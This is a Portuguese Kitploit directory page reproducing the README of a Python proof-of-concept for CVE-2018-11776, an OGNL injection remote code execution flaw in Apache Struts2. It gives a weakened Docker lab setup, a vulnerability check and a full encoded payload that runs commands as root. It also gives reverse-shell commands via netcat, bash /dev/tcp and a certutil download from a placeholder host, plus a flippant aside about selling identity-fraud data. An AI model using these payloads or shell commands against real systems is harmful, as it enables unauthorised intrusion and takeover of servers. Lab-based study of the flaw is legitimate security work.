Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de PayloadsLabs e Prática
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

Teste em Python funcional e PoC para CVE-2018-11776, inclui laboratório Docker

Ver Repositório
123493há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c no twitter

Teste e PoC funcionais em Python para a CVE-2018-11776, originalmente publicados em; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

O que está acontecendo?

Man Yue Mo, da Semmle, divulgou uma vulnerabilidade de RCE no Struts2, entregue em um payload codificado no caminho da URL de uma requisição.

As versões afetadas são 2.3 até 2.3.34 e 2.5 até 2.5.16.

A configuração padrão não é vulnerável, mas se estiver mal configurada... F.

Configure sua instância docker

O exploit funcionará perfeitamente com o container docker criado para o cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Configure sua configuração enfraquecida

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

adicione a configuração abaixo;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

e também;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

reinicie seu tomcat e/ou container

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Verifique se o alvo é vulnerável

teste a url para ver se ocorrem um redirecionamento e uma avaliação;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

com o script de teste;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Execute comandos do PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Shell reversa

deixe sua máquina pronta para aceitar a reverse shell;

root@kitploit:~
$ netcat -lvp 31337

execute o script;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

substitua 32771 pela porta exposta do seu container

Método atualizado via Bash, agora com suporte a barras /

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Reverse shell no Windows (não testado)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Inferno de debug (notas)

Todas as requisições com uma barra / falharão porque o Tomcat bloqueia ativamente essas barras; talvez seja necessário contornar isso, por exemplo, usando variáveis de ambiente para /bin/bash como $SHELL no exemplo acima.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Com isso em mente, a flag /c do Windows não funcionará como esperado. Só testei isso no container docker.

Atualização

Graças a @Menin_TheMiddle por mostrar que o problema da barra / pode ser resolvido; o código agora suporta barras / e, portanto, um reverse shell sem netcat via bash agora também é possível, além de agora suportar instâncias Windows (não testado).

Mitigação

Atualize seu Struts ou simplesmente não o use.

Acho que você sempre pode vender produtos de fraude de identidade se tiver uma violação e todos os detalhes dos seus clientes forem vazados! (você sabe quem é, escória absoluta)

Créditos

Agradecimentos a;

  • Man Yue Mo, da Semmle, por divulgar a vulnerabilidade (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity pelo laboratório Dockerfile e exemplo de payload OGNL (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x pelo write-up sobre o método (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 pelo teste (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle pelo write-up (https://www.secjuice.com/apache-struts2-cve-2018-11776/) e por me colocar no meu lugar :) o código agora finalmente suporta reverse shell no Windows e via bash

Saudações

um salve para vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Baixar ferramenta